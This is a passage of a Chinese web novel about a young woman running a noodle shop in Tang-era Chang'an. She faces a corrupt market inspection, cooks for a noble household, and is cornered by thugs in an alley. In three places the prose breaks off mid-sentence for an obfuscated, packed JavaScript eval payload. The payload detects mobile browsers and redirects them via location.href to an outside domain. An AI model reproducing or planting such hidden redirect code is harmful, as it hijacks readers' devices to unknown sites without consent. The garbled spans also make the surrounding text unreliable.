只是吃完面并未立刻离去，而是踱步到柜台前，捻着胡须沉吟道：“小娘子，老夫观你近日所售之‘灵焰面’，虽风味奇绝，然名号略显……略显直白燥烈，于长远计，似可更雅驯些。譬如，或可称‘雪霞羹’、‘金齑拌冷淘’之类，更合长安雅士品味。” 沈知意闻言，眼前顿时一亮。 老书生这话可谓点醒了她。 “灵焰”之名虽抓人眼球，但确实过于张扬，且容易引人联想那日五十文的高价，若被市署以此为借口质疑哄抬物价，反为不美。 而“雪霞羹”、“金齑拌冷淘”这类风雅名字，既不失特色，又更显底蕴，还能规避一些不必要的关注。 “多谢老先生指点。” 老书生摆摆手，悠然离去。 沈知意立刻找来新木板，磨墨润笔，将“灵焰面”的牌子撤下，郑重写下“雪霞羹”与“金齑拌冷淘”两个新名号，并特意在下面用小字标注了用料和风味特点，价格也调整至更为合理的三十五文。 这番改动果然吸引了一些路过文人士子的注意，品尝后亦觉名实相副，颇为风雅，口碑更佳。 次日晌午，正值食客最多之时，两名穿着市署吏员服饰、面色冷峻的男子，径直走进了沈记食肆。 领头一人目光如鹰隼般扫过店内，最终落在沈知意身上。 “你就是店主沈氏？” 声音公事公办，带着不容置疑的威严。 店内喧闹的气氛瞬间安静下来，所有食客都停下了筷子，紧张地望过来。 福伯的脸“唰”地一下变得惨白。 沈知意心头一紧，她放下手中的活计，净了净手，走上前，不卑不亢道：“正是民女。不知二位官人有何见教？” 那领头的吏员冷哼一声，从怀中掏出一面腰牌晃了晃：“市署巡査！有人举告你店中所售食饮不洁，价不符实，扰乱市令！现需查验你店食材、灶具及市劵，即刻配合！” 8. 第 8 章 沈知意的心猛地一沉，最坏的预想终究成了真。 她深吸一口气，强迫自己镇定下来，声音尽量保持平稳：“不知二位官人因何查验？本店一向守法经营，所有食材用具皆干净整洁，市劵亦齐全。” 那领头的吏员，面皮微黑，眼神锐利，闻言冷哼一声，并不答话，只对身后那名年轻些的副手使了个眼色。 副手立刻上前，毫不客气地开始翻检灶台上的瓶罐、面袋、油瓮，手指甚至直接戳入肉臊罐中捻看，动作粗鲁，带着明显的找茬意味。 “干净整洁？” 领头吏员语带讥讽，目光扫过店内略显陈旧的设施。 “这灶台污渍，这地面油垢，也敢称干净？还有…” 他猛地指向墙上那块写着“雪霞羹”和“金齑拌冷淘”的新食牌。 “这‘雪霞羹’是何物？昨日还叫那劳什子‘灵焰面’，卖五十文一碗！今日换个名头，就敢卖三十五文？如此随意定价，岂非欺瞒顾客，扰乱市价？！” 他声音陡然拔高，义正词严，引得门外围观的百姓也纷纷议论起来。 “就是！昨日五十文，今日就三十五文了？” “莫非真是看人下菜碟？” “市署老爷说得在理！” 沈知意心中怒火翻腾，却知此刻绝不能硬顶。 她强压怒气，清晰解释道：“回官人，‘灵焰面’与‘雪霞羹’实为同一种面食，只因昨日有长者指点，觉原名过于直白燥烈，故今日更换了更为雅驯的名号。至于价钱，昨日初售，用料求精，试售定价，今日根据成本重新核计，降至三十五文，并非随意变动，亦已明确告知每一位顾客，绝无欺瞒。” “巧言令色！” 那领头吏员根本不容分辩，厉声道。 “名目不清，价格浮动，便是嫌疑！还有，你这肉臊所用豚肉，色泽红润异常，可是添加了违禁之物？还有这些胡商香料，来源可明？可有以次充好？！” 那副手此时已从面袋底部捻起一小撮明显受潮结块的面粉，呈了上来：“头儿，你看这面粉，已然受潮结块，恐已变质！” 福伯急得满头大汗，连忙辩解：“官人明鉴！那、那是袋底最后一点，前日下雨不慎淋湿了些，俺们绝不敢用给客人！正准备丢弃的！其他面粉都是新买的上好白面啊！” “哼，谁知你们用没用？” 领头吏员根本不听，一挥手。 “看来举告非虚！你这食肆，用料存疑，价格混乱，卫生不堪！依市令，即刻起停业整顿！所有食材封存待检！店主随我等回市署接受讯问！” 停业整顿、封存食材、回市署讯问。 这任何一项，都足以让这刚刚起步的小店万劫不复。 尤其此刻兄长病重，一日都离不开药，更离不开这食肆的收入。 福伯眼前一黑，几乎晕厥。 店内食客们也面面相觑，有人悄悄放下筷子，有人开始退钱。 沈知意指甲深深掐入掌心，血液涌上头顶。 她知道这是刘家和张记的阴谋，对方就是要借市署之手，将她彻底按死。 她若此刻被带走，这店就算完了。 突然，一个苍老却带着怒意的声音从门口响起： “王录事！你这话说得可不公道！” 众人循声望去，原来是隔壁浆饮铺的阿婆。 她拄着拐杖，气得脸色发红，颤巍巍地走进来，指着那领头吏员道：“沈小娘子店里的东西，老婆子我天天看着！面粉油盐都是最新鲜的！灶台擦得比我家饭碗还亮堂！那点受潮的面粉，老福头早就说要扔了，是我说可惜了，留着喂鸡的！你怎么能红口白牙就冤枉人！” 那被称作王录事的领头吏员脸色一沉：“刘阿婆，市署办事，休得喧哗干涉！” 阿婆豁出去了，捶着胸口，“我就要说！多好的小娘子！手艺好，心肠也好！昨日还白送我家病歪歪的老头子一碗面汤！你们这样欺负一个孤苦伶仃的小娘子，良心让狗吃了？！” “就是！” 铁匠铺的张大叔也挤了进来，声如洪钟。 “王录事，俺老张是个粗人，不懂你们那些弯弯绕！俺就知道沈小娘子做生意厚道！饼是饼，面是面，料足味好！价钱怎么了？人家明码标价，爱买不买！俺就觉得值！你们是不是收了张胖子黑心钱，故意来找茬？！” “张铁匠！休得胡言污蔑！” 王录事脸色铁青，厉声呵斥。 “是不是污蔑你心里清楚！” 张铁匠梗着脖子。 “有本事你把俺也抓去市署！” “还有我！” “也算我一个！” “沈小娘子没错！” 几个平日常来的老主顾和相邻铺户也纷纷出声，一时间店内群情激愤。 王录事二人显然没料到这沈小娘子竟有如此人缘，脸色变得极其难看，想强行弹压，又恐激起更大民愤。 现场僵持不下，乱作一团。 就在此时，一道清朗温和却自带威严的声音从人群外传来： “此处何事喧哗？” 人群自动分开一条道路，只见苏晏清一袭月白襕袍，缓步而来。 他目光扫过场内，在王录事二人身上微微一顿，最后落在脸色苍白却挺直脊背的沈知意身上。 王录事一见苏晏清，脸色微变，连忙收起那副倨傲嘴脸，上前拱手行礼。 就连语气恭敬了许多：“苏录事，您怎么来了？是卑职等在例行巡査，发现此店诸多不合规之处，正欲依律处理。” 苏晏清目光掠过被翻得乱七八糟的灶台，以及那撮受潮面粉，淡淡道：“哦？有何不合规之处？王录事细细道来。” 王录事硬着头皮，将方才的指责又说了一遍，语气却不由自主地弱了几分。 苏晏安静静听完，未置可否，反而转向沈知意，温和问道：“沈小娘子，王录事所言，可是实情？你店中面粉确实受潮变质仍在用？肉臊添加了违禁之物？价格确是随意浮动，欺瞒顾客？” 沈知意定了定神，将方才的解释又清晰无比地重复了一遍，最后道：“苏录事明鉴，民女所言句句属实。所有食材采买皆有账目可查，邻舍皆可作证。那受潮面粉确系袋底残余，预备丢弃之物。价格变动缘由、新品命名之意，皆已向顾客说明，绝无欺瞒。至于肉臊用料，皆是市面所购寻常豚肉与香料，绝无添加违禁之物，官人一验便知。” 她语气不卑不亢，条理清晰，与王录事那含糊其辞、强词夺理的姿态形成鲜明对比。 周围街坊也纷纷出声作证：“苏录事，小娘子说的是实话！” “我们都可作证！” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405757|184455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是王录事他们一来就找茬！” 苏晏清点了点头，目光重新看向王录事，语气依旧平和，却带着一丝不易察觉的压力：“王录事，依市令，巡査商户，需凭证查验，依理办事。若仅凭些许存疑之处与一面之词，便欲强行封店拿人，恐失妥当，亦难服众啊。更何况，如今看来，似乎多有误会？” 王录事额角渗出细汗，他深知这位苏录事虽年轻，却是京兆府的红人，家世亦不简单，绝非自己能得罪的。 他今日前来，本是受了张胖子些许好处，又揣摩着刘家对沈记的不满，想来个顺手人情，捏个软柿子，却没料到这沈小娘子如此硬气，街坊如此拥护，更没料到会撞上苏晏清！ “这……苏录事教训的是。”王录事连忙躬身，“或许是卑职查验不够仔细，心急了些。既……既有街坊作证，料想……料想其中确有误会。” 苏晏清淡淡一笑：“既是误会，说开便好。沈小娘子开店不易，尔等身为市署吏员，当以维护市井繁荣、公正执法为本职，岂可听风便是雨，鲁莽行事？今日之事，便到此为止。日后巡査，还需谨慎。” “是，是！卑职明白！多谢苏录事提点！” 王录事如蒙大赦，连连点头哈腰，狠狠瞪了那副手一眼。 “还不快把东西收拾好！” 两人手忙脚乱地将翻乱的东西大致归位，灰溜溜地挤开人群，头也不回地走了。 食肆内顿时响起一片松气声和低低的欢呼。 福伯几乎虚脱，扶着灶台才站稳。 沈知意紧绷的心弦终于松弛下来，她走到苏晏清面前，深深一福：“多谢苏录事再次出手解围。” 苏晏清虚扶一下，温声道：“不必多礼。维护市井公允，本是分内之事。倒是小娘子临危不乱，条理清晰，令人刮目相看。” 他目光扫过食肆，“经此一事，想必也能清净几日。只是……” 他微微压低了声音，“树欲静而风不止，小娘子还需早做长远打算。” 沈知意心中了然，这是提醒她刘家和张记不会善罢甘休。 她郑重颔首：“民女明白。今日之恩，没齿难忘。” 苏晏清笑了笑，并未多留，又宽慰了街坊几句，便翩然离去。 食肆重新恢复热闹，甚至比之前更添了几分同仇敌忾的人气。 沈知意心中感激，今日所有面食，皆半价售卖，以谢众人。 然而忙碌之余苏晏清最后那句话却在她心中反复回响。 长远打算…… 是啊，总不能一直指望贵人偶然相助，或依靠街坊一时的义愤。 必须要有能真正安身立命、让人不敢轻易动摇的根基。 她的目光，不由自主地再次投向了后院方向。 兄长的病，必须尽快好起来。 而这食肆，也需要更快地站稳脚跟，积累足够的资本和声名。 一个模糊的念头，开始在她心中逐渐清晰。 或许，她该考虑接受那位苏夫人之前的提议？ 哪怕只是偶尔前去，若能借此搭上些许关系，或许便能在这长安城，真正拥有一丝喘息之机？ 夜色渐深，送走最后一位客人，沈知意擦净灶台，看着窗外西市寥落的灯火，心中做出了决定。 明日，她便去打听一下，那位苏夫人，究竟是何方神圣。 9. 第 9 章 西市的晨鼓尚未敲响，沈知意已悄然起身。 她先仔细查看了兄长的状况。 沈砚昨夜睡得似乎安稳了些，呼吸虽仍微弱，却不再有令人心揪的急促。 她悄声嘱咐福伯按时煎药喂药，又将昨日剩下的银钱大部分留作日常用度和兄长药费，只取了一小部分带在身上。 对着水盆模糊的倒影，她仔细将唯一一件半新的青碧色襦裙抚平，头发梳得一丝不乱，用一根素银簪固定。 她深知，今日之行虽看似机遇实则如履薄冰。 那苏夫人门第定然极高，自己稍有行差踏错，非但攀不上关系恐还会招致祸端。 辰时初，她仔细锁好食肆的门，深吸一口气，朝着苏晏清昨日隐约提及的、位于西市附近的光德坊方向走去。 长安城一百零八坊，光德坊毗邻西市，却非富即贵，多住着官员与殷实人家。 一路打听，终于在一处清净整洁、门楼虽不显赫却自有一股沉静气度的宅邸前停下。 黑漆大门紧闭，门楣上并无匾额，只门环锃亮。 她正犹豫如何通传，侧门吱呀一声开了，一个穿着干净布衣的小厮探出头来，打量了她一眼：“你找谁？” 沈知意敛衽一礼，声音清晰却不失恭谨：“劳烦通传，西市沈记食肆沈氏，应苏录事之约，前来拜见苏夫人。” 那小厮显然得了吩咐，闻言并不惊讶，只道：“稍候。” 便又缩回头去。 不过片刻，侧门再次打开，出来的却是昨日那位面容严肃的老嬷嬷。 她目光如电，将沈知意从头到脚扫视一遍，见她衣着虽朴素却整洁，举止沉静，眼中闪过一丝不易察觉的满意，语气却依旧平淡：“夫人正在花厅，随我来吧。记住，少看，少问，谨言慎行。” “是，多谢嬷嬷提点。” 沈知意低声应道，垂眸敛目，跟在老嬷嬷身后，踏入这深深宅院。 绕过影壁，穿过一道回廊，院内景象豁然开朗。 虽无雕梁画栋的极致奢华，但一草一木、一石一水皆布置得恰到好处，透着一种低调的雅致和难以言喻的规矩感。 偶尔可见一两个丫鬟仆妇走过，皆是脚步轻缓，目不斜视，整个宅邸安静得仿佛能听到风吹过竹叶的沙沙声。 沈知意心中愈发凛然，这绝非普通富户之家。 行至一处花厅外，老嬷嬷示意她稍候，自己先进去通传。 片刻后，她出来低声道：“夫人让你进去。今日夫人胃口仍是不佳，早膳几乎未动，你看着办吧。” 沈知意心中一紧，这是考验也是机会。 她定了定神，缓步走入花厅。 厅内陈设清雅，光线柔和。 苏夫人并未戴帷帽，穿着一身沉香色家常襦裙，斜倚在窗边的软榻上，神色略显倦怠，面前的小几上摆着几样看似精致却几乎未动的点心小菜。 苏晏清并未在侧。 见沈知意进来，苏夫人只微微抬了抬眼，声音带着一丝慵懒：“来了？听晏清说你手艺不俗。今日便随意做些清淡小点吧，灶房在东边廊下第二间。” 言罢，便又合上眼，似乎对她并不甚在意。 这种看似随意实则疏离的态度，反而让沈知意压力稍减。 她恭敬应了声“是”，便由一位小丫鬟引着前往灶房。 苏府的灶房远比她想象中更大、更整洁，食材琳琅满目，许多甚至是她叫不出名字的时令珍鲜。 几个厨娘仆妇正在忙碌，见她进来，皆投来好奇而略带审视的目光。 引路丫鬟对一位看似管事的厨娘低语了几句，那厨娘便指了指角落一处空着的灶台和一套干净厨具：“夫人吩咐了，沈小娘子可随意取用此处食材。” 沈知意道了谢，心中飞速盘算。 夫人胃口不佳，早膳未用，需得极其开胃爽口、却又不能过于油腻刺激之物。 她目光扫过食材区，见有新鲜捕捞的河鸭，肉质细嫩，又有新采的嫩莲藕、鸡头米，正是夏末秋初的时令佳品，一旁还有一小筐饱满清甜的新剥莲子。 她取来鸭胸肉，细心剔去筋膜，只取最嫩部分。 然后用刀背细细捶打成茸，加入少许姜汁、盐、一点点的葛粉和蛋清，顺着一个方向缓缓搅打上劲，直至成为细腻粘稠的肉糜。 又将新鲜莲子、嫩藕切成极细的碎末，与打好的鸭茸混合均匀。 接着，她取来几张极薄的猪网油，洗净摊平，将调好的鸭茸馅料小心地抹在网油上，卷成细长的卷状，再用干净细麻绳轻轻捆扎定型。 锅中水烧开，放入鸭卷，小火慢煮，待其浮起成熟，立刻捞出浸入冰凉的井水中激一下，使其口感紧实弹牙。捞出沥干后，拆去麻绳，将鸭卷切成寸许长的段。 最后一步是关键。 她另起一小锅，加入少许清鸡汤，放入几粒鲜嫩的鸡头米，小火慢煨至汤色清亮、鸡头米软糯。 只加少许盐调味，滴入一两滴自制的橙皮油提香。 取一个浅口白玉瓷碗，先盛入清汤与鸡头米，再将那一段段洁白如玉、隐约透出内部莲子与藕粒的鸭卷轻轻放入，宛若一朵朵莲花蓓蕾浮于清波之上。 最后，点缀一两叶鲜嫩的薄荷尖。 一道汤清见底、形如莲苞、口感清新雅致至极的“莲花鸭签”便成了。 当沈知意捧着这碗看似简单却处处用心的汤点回到花厅时，那位一直闭目养神的苏夫人缓缓睁开了眼睛。 她的目光落在碗中，那清雅的造型和若有若无的清香，让她倦怠的神色似乎动了动。 老嬷嬷接过碗，先用银针试过，才奉到夫人面前。 苏夫人执起玉匙，先舀了一勺清汤，送入口中。 汤极清极淡，却带着鸡汤的醇鲜和一丝橙皮的清新，恰到好处地打开了味蕾。 她再尝那“莲花鸭签”，鸭茸细腻弹牙，毫无腥气，中间莲子与藕粒的清甜脆嫩带来了丰富的口感层次，整体清淡却不寡淡，鲜美而不油腻。 她并未多吃，只用去了小半碗，便放下了匙子。 但相较于早膳几乎未动，这已是极大的进步。 “尚可。” 她淡淡评价了一句，目光再次落在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405758|184455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 垂手侍立的沈知意身上，多了几分审视的意味。 “心思倒是巧。这鸭签，以往倒是未曾见过。” “回夫人，是民女根据时令食材胡乱琢磨的，登不得大雅之堂，只望能合夫人口味。” 沈知意恭谨回答。 苏夫人微微颔首，未再言语，只对老嬷嬷示意了一下。 老嬷嬷便对沈知意道：“夫人乏了，你今日便先回去吧。赏钱稍后会让人送去你店中。” “谢夫人。” 沈知意知道今日只能到此为止，恭敬行礼后，由小丫鬟引着退出。 离开苏府，走在熙攘的西市街道上，沈知意才缓缓吐出一口浊气。 方才在府中，每一步都如同踩在云端，小心翼翼。 那位苏夫人虽未多言，但其通身的气度和那府邸的规矩，都让她深感彼此间的云泥之别。 回到食肆，已是午时。 福伯正忙得不可开交，见她回来，连忙追问。 沈知意简略说了，福伯又是后怕又是期待。 至傍晚打烊时分，果然有一个小厮模样的人来到店中，并未多言，只交给沈知意一个沉甸甸的锦囊便转身离去。 沈知意打开一看，里面竟是两枚银锞子，足有十两。 还有一小包上等的官燕窝，显然是给沈砚补身子的。 这份赏赐远超她今日所做那碗汤点的价值。 沈知意握着银子和燕窝，心中并无太多喜悦，反而愈发沉重。 贵人赏识，赏赐丰厚，但这其中的分寸该如何把握？ 她今日算是勉强过关，下次呢？ 若频繁出入那等府邸，是福是祸？ 然而兄长的病和眼前的困境让她没有太多选择余地。 她将银子收好，仔细地将那包燕窝收起来，预备明日开始炖给兄长吃。 翌日，沈记食肆照常开张。 沈知意并未宣扬昨日之事，只将新得的银钱大部分存起，依旧用心经营着店铺。 或许是因苏晏清之前的出面，又或许是那日街坊的声援起了作用，市署的人再未前来骚扰，对面张记的胖掌柜也安分了许多，只是偶尔看来的眼神依旧阴沉。 生意平稳地过了几日。 沈知意偶尔会琢磨一些新的适合秋日食用的清淡菜式，预备着若苏府再来相召能有所应对。 这日午后，食客渐稀，沈知意正在清理灶台。 忽见那日苏府引路的小厮又来了，这次神色却略显匆忙。 “沈小娘子，夫人后日欲在府中小宴几位女眷，点名让你前去帮厨，制备几样清淡精巧的席面点心。这是定金，后日辰时，莫要迟了。” 小厮递过一小锭银子，语速很快。 沈知意心中猛地一跳。 这已不再是简单的调理胃口而是真正参与到高门宴饮之中，机会更大，风险也更高。 她压下心中波澜，接过银子，沉稳应道：“请回复夫人，民女必定准时前往，尽力而为。” 小厮点点头，匆匆离去。 沈知意握着那锭微凉的银子心里有了计较 10. 第 10 章 两日时光，倏忽而过。 这两日里沈知意几乎未曾合眼。 白日里她依旧打理着食肆生意，只是将大部分活计交给了愈发熟练的福伯。 一到夜间她便对着那锭银子和小厮模糊提及的“几位女眷”“清淡精巧”等要求，苦思冥想。 高门女眷的小宴，绝非市井饱腹那般简单。 菜肴需精致美观，口味需清淡雅致，要合乎时令，更要体现出主人的品味与巧思，绝不能有丝毫粗陋或油腻。 每一道点心，都需是能上台面的艺术品。 她反复推敲，结合现有能获取的秋季食材，最终定下了三样点心。 一是前日已得苏夫人认可的“莲花鸭签”的改良版，用料更精，造型更趋完美。 二是她借鉴前世记忆、以唐代现有材料能实现的“贵妃红”。这是一种用鲜花或水果汁液染色的酥皮点心。 第三样，则是她苦思良久，决定冒险一试的压轴之作——“玉露团”。 “玉露团”之名，源于古方，但沈知意要做的，却绝非寻常的米粉甜点。 她欲以新鲜牛乳反复熬炼提纯得到类似奶酪的凝乳，再调入秋日盛开的桂花蜜与少许研磨极细的核桃粉，塑成圆团，冰镇后口感细腻清甜，奶香与桂花香交织，宛如凝聚了秋日玉露之精华。 此物极费工时，且对奶源和手法要求极高，一旦成功足以惊艳四座。 然而想法虽妙，实施却难。 光是反复试验熬炼牛乳、控制火候与凝结程度，便几乎耗尽了沈知意所有休息时间。 幸得那日赏赐丰厚，她才能不惜成本地反复尝试。 浪费了数桶鲜奶后，终于在第二日深夜成功做出了她想要的、细腻滑润、乳香浓郁的凝乳。 调入桂花蜜与核桃粉后，那清甜不腻、入口即化的口感，连她自己都为之惊叹。 天未亮，她便起身。 将试验成功的“玉露团”半成品小心用冰盒装好，又检查了其他预备好的食材配料，一一打包妥当。 她换上一身浆洗得干干净净的灰蓝色粗布衣裙，头发用布巾包起，力求整洁利落，不显丝毫轻浮。 辰时初，她准时出现在苏府侧门外。 今日引她入内的仍是那位老嬷嬷，只是神色比往日更显肃穆，低声叮嘱道：“今日来的皆是贵客，夫人极看重。你只在灶房做事，无召不得出。所做饮食，需经我等查验方可呈上。切记，多看多听少言，慎之又慎。” “民女明白，谢嬷嬷提点。” 沈知意恭顺应下，心弦绷得更紧。 今日的苏府灶房，远比她上次来时更为忙碌。 数名厨娘仆妇穿梭往来，蒸、煮、煎、炸，各色香气混杂，却忙而不乱，井然有序。 沈知意被引至角落一处专用灶台，无人与她寒暄，那些厨娘看她的眼神，好奇中更多了几分审视与不易察觉的排外。 她无暇他顾，沉心静气，开始处理自己带来的食材。 熬炼“玉露团”的最后一步，塑形冰镇。 将鸭胸肉再次捶打成更细腻的茸泥。 调制“贵妃红”所需的花汁面皮…… 时间一点点过去，花厅方向的丝竹声与隐约的谈笑声随风传来，更衬得灶房内的气氛紧张。 不时有丫鬟前来传话，询问某样菜式进度，或传达某位贵客的临时忌口。 每一次传话，都让所有厨娘的动作更快几分。 沈知意全神贯注，手下动作快而不乱。 她深知在这种场合一丝差错都可能万劫不复。 “夫人传话，点心可陆续呈上了。” 老嬷嬷的身影出现在灶房门口，声音不高，却让所有人动作一滞。 几名厨娘立刻将早已备好的几样苏府传统精美点心装入食盒，由丫鬟提走。 沈知意深吸一口气，将自己做的三样点心也小心摆入一个素雅的越窑青瓷攒盘之中。 “莲花鸭签”如含苞待放，“贵妃红”色如晚霞，“玉露团”洁白莹润，宛如珍珠。 老嬷嬷仔细看过，尤其用银针查验了“玉露团”这等未曾见过的点心，方才点头，示意丫鬟提走。 点心送走，沈知意的心却并未放下，反而悬得更高。 她留在灶房，帮忙处理一些杂事，耳朵却竖着，捕捉着从花厅方向传来的任何细微动静。 时间过得异常缓慢。 灶房内的气氛依旧紧张，却无人交谈。 忽然一个穿着淡粉比甲的小丫鬟急匆匆跑来，对着老嬷嬷低语了几句。 老嬷嬷眉头微蹙，目光倏地转向沈知意：“沈小娘子，夫人唤你过去问话。” 刹那间，灶房内所有目光都聚焦在沈知意身上，有惊讶，有疑惑，更有看好戏的意味。 沈知意心头一凛，稳了稳心神，净手整理了一下衣襟，垂首跟着老嬷嬷走向花厅。 花厅内，熏香袅袅，几位衣着华美、气度雍容的妇人正凭几闲坐，苏夫人坐于主位。 见沈知意进来，所有目光都落在她身上，带着打量与探究。 沈知意屏息静气，上前几步，跪伏于地：“民女沈氏，拜见夫人，拜见各位夫人。” “起来回话。”苏夫人的声音听不出喜怒，“方才那碟中，色白如玉、状若凝露的点心，叫做什么？是你所做？” “回夫人，此点心名为‘玉露团’，确是民女所做。” 沈知意起身，依旧垂眸敛目。 “哦？‘玉露团’？” 一位身着绛紫绣金襦裙、面容丰腴的妇人饶有兴致地开口，声音带着几分慵懒的贵气。 “名儿倒雅致。吃着也爽口，甜而不腻，奶香清幽，中间那点子桂花和核桃碎更是添趣。只是，这口感细腻滑润，似乳非乳，似糕非糕，倒是从未尝过。你是如何做的？” 沈知意心中快速权衡，知道绝不能透露核心的熬炼提纯之法，只择其要略，恭敬回道：“回这位夫人，此点心乃是以新鲜牛乳，佐以桂花蜜、核桃细粉，经特殊手法凝制而成，最后需以冰镇，方得此口感。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405759|184455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “特殊手法？” 另一位身形清瘦、目光敏锐的蓝衣妇人微微挑眉。 “看来是小娘子的秘方了。倒是巧思。如今秋燥，吃这个正相宜。苏姐姐，你从何处寻来这般灵巧的厨娘？竟藏于西市那等喧杂之地？” 苏夫人唇角微扬，露出一丝极淡的笑意：“不过是晏清那孩子偶遇，觉其手艺尚可，荐来一试罢了。能得各位妹妹喜欢，是她的造化。” 她目光转向沈知意，“这‘玉露团’不错，其余两样也尚可。今日辛苦你了，下去领赏吧。” “谢夫人，谢各位夫人夸赞。” 沈知意心中巨石落地，再次行礼，恭谨地退了出去。 回到灶房，那些原本带着审视的目光，此刻已多了几分复杂与敬畏。 老嬷嬷随后而来，递给她一个比上次更沉些的锦囊，语气也缓和了些：“夫人有赏。今日做得不错，没给夫人丢脸。日后府中若需，自会再召你。” “谢嬷嬷。” 沈知意接过赏赐，心中并无太多喜悦，只有疲惫与庆幸。 给官宦贵人做吃食自然与在西市开食肆不同，稍有不慎便有可能丢了性命。 毕竟她现在只是平头百姓不是？且家中还有生病的兄长和年老的老仆要养活。 她收拾好自家工具，婉拒了府中留饭的提议，悄然从侧门离开了苏府。 走在秋日午后的长安街上，阳光明媚，她却觉得脚步有些虚浮。 幸而她赌赢了。 “玉露团”得到了认可，甚至引起了那几位贵妇的兴趣。 这无疑为她在这长安城艰难地撬开了一丝缝隙。 回到食肆，福伯早已望眼欲穿。 见她平安归来，且又带回赏银，这才喜笑颜开，连声念佛。 沈知意却顾不得休息，先去看望兄长。 沈砚的气色似乎又好了些许，竟能靠着枕头，慢慢喝下一小碗她之前炖好的燕窝粥了。 “阿兄今日感觉如何？” “好多了……六娘，你脸色不好，莫要太过劳累……” 沈砚虚弱地叮嘱。 她将赏银收起，心中已开始盘算。 这笔钱，除了留下兄长后续的药费和食肆本钱，或可稍稍添置些更好的厨具，或许能租下隔壁那间一直空着的小小铺面，将食肆扩大一些，多摆几张桌椅。 希望的曙光似乎终于穿透了重重阴霾，变得清晰了一些。 然而她并不知道，就在她离开后，苏府花厅内那位身着绛紫衣裙的丰腴妇人，把玩着手中的玉盏，似不经意地对苏夫人笑道：“苏姐姐，那姓沈的小娘子，倒真是个妙人儿。她那手熬炼牛乳的法子，怕是宫里尚食局的老人都未必及得上。这般人才，放在西市，未免可惜了……” 苏夫人端起茶盏，轻轻撇去浮沫，眼波微澜，未置可否。 风起于青萍之末。 沈知意这只偶然飞入贵人视野的蝴蝶，她轻轻扇动的翅膀，已开始悄然搅动长安城深处，某些不为人知的波澜。 11. 第 11 章 苏府的赏赐如同甘霖暂时缓解了沈记食肆的焦渴。 沈知意将银钱仔细清点，分成三份。 最大的一份，毫不犹豫地拿去购买了兄长下一阶段所需的昂贵药材，又特意添置了些温补的食材。 第二份，留下日常开销和食肆周转的本钱。 最后剩下的一小份，她揣在怀中，心中酝酿着一个盘桓已久的念头。 这日午后，趁着食客稀疏，她嘱咐福伯看店，自己则走向西市署衙所在的方向。 她并非要去告状或申辩，而是想去寻那日虽被苏晏清斥退却终究掌管着这片街面秩序的王录事。 衙门侧厢的小吏房内，王录事正捧着茶盏与同僚闲聊，见沈知意进来，脸色顿时一沉，语气不善：“沈小娘子？你来作甚？莫非店中又出了什么‘不合规’之事？”话语间带着明显的讥讽。 沈知意心中冷笑，面上却依旧恭谨，上前福了一礼，声音不高却清晰：“王录事说笑了。日前多得官人提点，小店方能及时整改，近日生意略有好转，特来感谢官人照拂。” 说着，她不动声色地将一个早已备好的沉甸甸的细布小包从袖中滑出，轻轻放在王录事手边的案几上。 布包口未系紧，露出里面一串黄澄澄品相极好的新钱，足有二百文。 王录事的目光在那串钱上扫过，脸上的冰霜肉眼可见地消融了几分。 他干咳一声，伸手将布包拢入袖中，语气缓和了不少：“嗯……知错能改，善莫大焉。市署管理市坊，本就是为了尔等商户能安稳经营。你既如此明事理，日后安心做生意便是，只要合规经营，自有市令护佑。” “多谢王录事。” 沈知意再次行礼，并不多言，转身退了出去。 她知道这二百文买不来真正的平安，更买不来对方的真心庇护，但至少能暂时堵住那张找茬的嘴，让他和刘家张记勾结时能稍有顾忌。 在这市井之中，有时银钱开道比空讲道理更为直接有效。 果然，自那日后市署的巡査吏员虽依旧从店前经过，却再未进来刻意刁难。 对面张记的胖掌柜偶尔投来的目光虽依旧阴沉，却似乎也少了几分肆无忌惮。 沈知意稍稍松了口气，将更多精力投入到食肆经营和照料兄长的病上。 沈砚的病情在好药和精心调养下稳步好转，已能偶尔在堂屋坐一会儿。 他看着妹妹忙碌，眼中多了些神采。 这日因需添置一批特殊的胡商香料，沈知意打烊后特意晚走了一会儿，去了西市更深处胡商聚集的区域。 等她采买完毕，天色已彻底暗了下来，各坊宵禁的鼓声隐隐传来。 她加快脚步，想赶在坊门关闭前回到食肆。 为了抄近路，她拐入了一条平时较少行走的僻静小巷。 巷内昏暗，只有几户人家门缝里透出的微弱灯火。 就在她走到巷子中段时，前方阴影里忽然闪出两条人影，拦住了去路。 身后也传来了脚步声，她回头一看，巷口也被两人堵住。 四个穿着短打衣衫、面色不善的汉子，将她围在了中间。 空气中弥漫着一股劣酒和汗渍混合的气味。 “小娘子，这么晚了，一个人急着去哪啊？” 为首一个满脸横肉的汉子咧嘴一笑，露出黄牙，目光猥琐地在沈知意身上打转。 